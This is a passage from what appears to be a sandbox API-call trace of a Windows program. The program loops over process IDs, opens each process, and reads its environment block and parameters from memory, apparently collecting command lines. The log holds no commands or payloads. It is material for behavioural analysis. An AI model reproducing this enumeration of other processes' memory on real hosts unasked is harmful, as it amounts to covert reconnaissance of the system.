_Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.619] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0346.619] GetLastError () returned 0x0 [0346.619] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.619] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.619] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.619] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.619] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.620] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.620] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.620] malloc (_Size=0x70) returned 0xea8aa0 [0346.620] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea8aa0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0346.621] free (_Block=0xea8aa0) [0346.621] CloseHandle (hObject=0xa9c) returned 1 [0346.622] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0346.622] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0346.622] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.622] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.623] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0346.623] GetLastError () returned 0x0 [0346.623] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.623] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.624] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.624] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.625] malloc (_Size=0x6a) returned 0xea8ca0 [0346.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8ca0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0346.626] free (_Block=0xea8ca0) [0346.626] CloseHandle (hObject=0xa9c) returned 1 [0346.628] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0346.628] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0346.628] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.628] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0346.629] GetLastError () returned 0x0 [0346.629] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.629] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.629] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.630] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.630] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.630] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.631] malloc (_Size=0x86) returned 0xe87670 [0346.631] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87670, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0346.631] free (_Block=0xe87670) [0346.632] CloseHandle (hObject=0xa9c) returned 1 [0346.632] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0346.632] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0346.632] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.632] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.633] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0346.633] GetLastError () returned 0x0 [0346.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.634] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.634] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.634] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.635] malloc (_Size=0x72) returned 0xea8b20 [0346.635] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea8b20, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0346.635] free (_Block=0xea8b20) [0346.635] CloseHandle (hObject=0xa9c) returned 1 [0346.636] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0346.636] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0346.636] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.636] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.637] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0346.637] GetLastError () returned 0x0 [0346.637] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.638] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.638] malloc (_Size=0x90) returned 0xec7660 [0346.638] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7660, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7660*, lpNumberOfBytesRead=0x0) returned 1 [0346.640] free (_Block=0xec7660) [0346.640] CloseHandle (hObject=0xa9c) returned 1 [0346.640] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0346.640] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0346.640] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.640] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.641] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0346.641] GetLastError () returned 0x0 [0346.641] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.642] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.642] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.643] malloc (_Size=0x64) returned 0xeb6380 [0346.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb6380, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0346.644] free (_Block=0xeb6380) [0346.644] CloseHandle (hObject=0xa9c) returned 1 [0346.645] _ui64tow_s (in: _Value=0x12b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4788") returned 0x0 [0346.645] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4788") returned 4 [0346.645] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.645] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.646] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12b4) returned 0xa9c [0346.646] GetLastError () returned 0x0 [0346.646] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.646] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.647] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.647] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.647] malloc (_Size=0x66) returned 0xeb6700 [0346.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b6, lpBuffer=0xeb6700, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.648] free (_Block=0xeb6700) [0346.650] CloseHandle (hObject=0xa9c) returned 1 [0346.650] _ui64tow_s (in: _Value=0x1344, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0346.650] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4932") returned 4 [0346.650] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.650] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.651] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0xa9c [0346.651] GetLastError () returned 0x0 [0346.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x282258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.652] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.652] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x742020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.653] malloc (_Size=0x6e) returned 0xea97a0 [0346.653] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2822be, lpBuffer=0xea97a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.653] free (_Block=0xea97a0) [0346.653] CloseHandle (hObject=0xa9c) returned 1 [0346.654] _ui64tow_s (in: _Value=0x1388, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5000") returned 0x0 [0346.654] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5000") returned 4 [0346.654] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.654] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: 